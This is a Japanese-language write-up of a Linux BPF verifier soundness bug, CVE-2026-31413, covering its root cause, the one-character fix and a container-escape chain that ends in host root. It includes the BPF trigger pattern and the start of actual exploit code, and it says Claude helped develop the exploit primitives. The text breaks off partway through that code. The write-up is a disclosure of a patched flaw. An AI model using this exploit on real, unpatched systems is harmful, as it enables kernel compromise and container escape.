
CVE-2026-31413: BPF verifierの健全性バグ - コンテナエスケープ
Linux BPF 検証器にサウンドネスバグを発見しました。push_stack() 呼び出し内の + 1 により、分岐したパスで ALU 命令が 1 つスキップされます。BPF_OR の場合、CPU が 0 | K = K を計算している間、検証器は dst = 0 と追跡します。完全なコンテナエスケープを書き上げました。BPF マップからの OOB 読み書き、vtable ハイジャック、modprobe_path 上書き、ホストでの root 取得です。その後、2 パッチのシリーズ(1 文字の検証器修正と 90 行のセルフテスト)を作成し、mainline にマージされました。
| CVE | CVE-2026-31413 |
| バグ分類 | 検証器のサウンドネス - レジスタ値の乖離 |
| 根本原因 | push_stack(env, env->insn_idx + 1, ...) が分岐パスで ALU 命令をスキップ |
| 導入 | bffacdb80b93 - Linux 7.0-rc1(2026 年 1 月 14 日) |
| 修正 | c845894ebd6f - Linux 7.0-rc5(2026 年 3 月 22 日) |
| 影響を受けるバージョン | 6.12.75+(stable バックポート dea9989a3f)から 7.0-rc4 まで |
| 影響 | 任意のカーネル R/W → コンテナエスケープ → ホスト root |
| 必要な権限 | CAP_BPF + CAP_PERFMON + CAP_NET_ADMIN |
| 修正内容 | 1 文字: insn_idx + 1 → insn_idx |
maybe_fork_scalars() は、ARSH + 定数による AND/OR を検出すると検証器の状態をフォークします。プッシュされたパスは dst = 0 を取得し、ALU 命令をスキップします。AND では問題ありません。0 & K = 0 だからです。OR では誤りです。0 | K = K であり、0 ではありません。
検証器はレジスタがゼロだと考えます。CPU は K を持っています。これを使って BPF マップ値からの任意の OOB 読み書きを構築し、マップのカーネルアドレスを漏洩させ、偽の bpf_map_ops vtable を作成し、map_push_elem を array_map_get_next_key 経由でリダイレクトして任意書き込みを実現し、modprobe_path を上書きしました。未知のバイナリ形式をトリガーすると、カーネルがスクリプトを root として実行します。コンテナ内からホスト全体へのエスケープです。
2 パッチのシリーズ: 1 文字の検証器修正と、OR と AND のフォークをカバーする 90 行の BPF セルフテスト。Alexei Starovoitov により 3 月 22 日にマージされました。CVE-2026-31413 は Greg Kroah-Hartman により 4 月 12 日に割り当てられました。
eBPF を使うと、カーネルモジュールをコンパイルせずに小さなプログラムをカーネルにロードできます。パケットフィルタ、トレーシングフック、セキュリティポリシーなどです。問題は、ring 0 にコードを注入しているという点です。そのコードにバグがあれば、それはカーネルのバグです。
そのため、BPF プログラムが実行される前に、カーネルの検証器が考えられるすべての実行パスをシミュレートします。各レジスタが保持する内容(ポインタか?スカラか?どの範囲か?)を追跡し、すべてのメモリアクセスをマップ境界に対してチェックし、境界外の読み書きが発生し得るものをすべて拒否します。検証器がプログラムを安全と判断した場合、JIT がそれをネイティブマシンコードにコンパイルし、完全なカーネル権限で実行します。その時点以降、実行時の境界チェックはありません。検証器こそがセキュリティ境界です。
これが、検証器のサウンドネスバグが通常のメモリ破壊とは異なる理由です。ヒープオーバーフローや UAF では、1 つの破壊プリミティブを手に入れて、そこからヒープスプレー、オブジェクトのグルーミング、ウィンドウの競争といった作業が必要です。検証器のバグでは、レジスタの値についてカーネルに嘘を信じさせることができます。そのレジスタに依存するすべての境界チェックが通過します。カーネルは OOB アクセスを承認します。疑いなく実行します。レジスタの状態を正しく整えることができれば、そこからクリーンで信頼性の高いプリミティブを得られます。
maybe_fork_scalars() を監査していました。2026 年 1 月に bffacdb80b93 で追加された新しいコードです。状態フォークは常に興味深いものです。検証器が並行探索パスに分割される場所であり、いずれかのパスが誤った値を追跡すると、そのパスの下流すべてがサウンドでなくなるからです。
この関数は、ARSH + 定数ソースによる AND/OR を検出するとフォークします。プッシュされたパスは dst = 0 を取得し、ALU 命令をスキップします。push_stack(env, env->insn_idx + 1, ...) の行を読んで、すぐにピンときました。+ 1 により、プッシュされたパスは ALU 演算を実行しないのです。AND の場合、0 & K = 0 なのでスキップしても問題ありません。OR の場合、0 | K = K です。プッシュされたパスは、実際には K であるのに結果が 0 だと考えます。
その夜に BPF プログラムを書きました。ARSH 63 で {0, -1} を取得し、定数で OR し、条件分岐で検証器のパスを分離し、その「ゼロ」レジスタをマップポインタに加算しました。検証器は map_value + 0 を承認しました。CPU は map_value + K にアクセスしました。KASAN がテスト中の境界外アクセスを確認しました。
翌朝までに OOB 読み書きを達成。次の夜までにコンテナエスケープを達成しました。全体を通して Claude(Opus 4.5)を使用しました。検証器の状態フォークロジックの解析、エクスプロイトプリミティブのブレインストーミング、OOB を完全なエスケープチェーンに変える作業です。vtable ハイジャックのアプローチは、Claude が bpf_map_ops の関数ポインタを調べて呼び出し可能なガジェットを探すやり取りから生まれました。
コミット bffacdb80b93("bpf: Recognize special arithmetic shift in the verifier")は 2026 年 1 月 14 日に 7.0-rc1 で導入されました。Alexei Starovoitov によるもので、Puranjay Mohan と共同開発されました。LLVM の DAGCombiner パターンを処理するために maybe_fork_scalars() が追加されました。```
w2 s>>= 31 // arithmetic shift right: w2 becomes 0 or -1
w2 &= -134 // AND with constant K
LLVMは `select_cc setlt X, 0, A, 0` を `sra + and` にlowerする。算術右シフトの
後、レジスタは `0`(非負入力)または `-1`(全ビットが1)のいずれかになる。
定数とのAND演算は `0` または `K` を生成する。
検証器は単一の `bpf_reg_state` で `{0, K}` を追跡できない。その符号付き範囲
`[0, K]` は過大近似であり、そのため有効なCiliumプログラムを拒否していた。
修正:検証器の状態をフォークする。一方のパスは `dst = 0` を、もう一方は
`dst = -1` を探索し、それぞれ正確な値を追跡する。
実装:```c
static int maybe_fork_scalars(struct bpf_verifier_env *env,
struct bpf_insn *insn,
struct bpf_reg_state *dst_reg)
{
// ... condition check: dst range is [-1, 0], src is constant ...
branch = push_stack(env, env->insn_idx + 1, env->insn_idx, false);
// ^^^^^^^^^^^^
// pushed path resumes AFTER the ALU insn
if (IS_ERR(branch))
return PTR_ERR(branch);
regs = branch->frame[branch->curframe]->regs;
__mark_reg_known(®s[insn->dst_reg], 0); // pushed: dst = 0
__mark_reg_known(dst_reg, -1ull); // current: dst = -1
return 0;
}
プッシュされたパスでは2つのことが発生します:
0 に設定されるinsn_idx + 1、すなわちALU演算の後の命令で再開されるBPF_AND の場合: dst = 0 となり、ANDをスキップします。実行時: 0 & K = 0。一致。健全です。
BPF_OR の場合: dst = 0 となり、ORをスキップします。実行時: 0 | K = K。不一致。
検証器は 0 を認識します。CPUは K を持っています。非健全です。
この関数はオペコードをチェックしません。これはAND用に書かれたもので、命令をスキップすることが dst = 0 での実行と同じになる場面のためのものですが、ORにも適用されてしまいました。ORの場合、その等価性は成立しません。
トリガーパターンは5つの命令です:``` r6 = (u64)(map_value + 0) // load a positive value (guaranteed by map init) r6 s>>= 63 // arithmetic shift: r6 = 0 (positive input) r6 |= K // BUG: verifier forks, pushed path gets r6=0 if r6 s< 0 goto exit // steers verifier paths r9 += r6 // verifier: r9 += 0 (in-bounds) // runtime: r9 += K (OOB)
検証器は2つのパスを探索します:
**Current path** (`dst = -1`): ORが実行され、`-1 | K` は依然として `-1` です。
分岐 `r6 s< 0` が取られます。検証器は出口に従います。このパスは安全であり、
検証器はそれを確認します。
**Pushed path** (`dst = 0`, ORスキップ): `r6 = 0`。分岐 `r6 s< 0` は取られ
ません。検証器は `r9 += r6` にフォールスルーし、`r9 += 0` を確認して、
後続のメモリアクセスを範囲内として承認します。
**Runtime** (`dst = 0`, OR実行): マップ値は正なので、ARSH後、
`r6 = 0`。ORが実行されます: `0 | K = K`。分岐 `K s< 0` は取られません (K は
正)。`r9 += K` - `K` バイト分の範囲外アクセスであり、検証器によって
`r9 += 0` として承認されます。
私は `K` を制御します。任意のBPFマップ
値に対する任意オフセットのOOB読み取りまたは書き込み。
読み取りバージョンは、漏洩したデータをユーザースペースで取得するために2番目のマップに格納します。
書き込みバージョンは、3番目のマップから値をロードし、それをOOBオフセットに書き込みます。
両方とも検証器を通過します。
以下が完全な `oob_read_prog` です。これはエクスプロイトからの実際のコードであり、
疑似コードではありません:```c
static int oob_read_prog(int map_fd, int dst_fd, int offset)
{
int K = -offset;
struct bpf_insn insn[] = {
/* look up map_fd[0] → R0 = pointer to value, load seed into R6 */
BPF_LD_MAP_FD(R1, map_fd),
BPF_MOV64_REG(R2, R10), BPF_ALU64_IMM(BPF_ADD, R2, -8),
BPF_ST_MEM(BPF_DW, R10, -8, 0),
BPF_RAW_INSN(BPF_JMP|BPF_CALL, 0,0,0, 1), /* map_lookup_elem */
BPF_JMP_IMM(BPF_JNE, R0, 0, 2), BPF_MOV64_IMM(R0,0), BPF_EXIT_INSN(),
BPF_LDX_MEM(BPF_DW, R6, R0, 0), /* R6 = seed (positive) */
/* look up dst_fd[0] → R9 = pointer to output buffer */
BPF_LD_MAP_FD(R1, dst_fd),
BPF_MOV64_REG(R2, R10), BPF_ALU64_IMM(BPF_ADD, R2, -8),
BPF_ST_MEM(BPF_DW, R10, -8, 0),
BPF_RAW_INSN(BPF_JMP|BPF_CALL, 0,0,0, 1),
BPF_JMP_IMM(BPF_JNE, R0, 0, 2), BPF_MOV64_IMM(R0,0), BPF_EXIT_INSN(),
BPF_MOV64_REG(R9, R0),
/* look up map_fd[0] again → R8 = base pointer for OOB access */
BPF_LD_MAP_FD(R1, map_fd),
BPF_MOV64_REG(R2, R10), BPF_ALU64_IMM(BPF_ADD, R2, -8),
BPF_RAW_INSN(BPF_JMP|BPF_CALL, 0,0,0, 1),
BPF_JMP_IMM(BPF_JNE, R0, 0, 2), BPF_MOV64_IMM(R0,0), BPF_EXIT_INSN(),
BPF_MOV64_REG(R8, R0),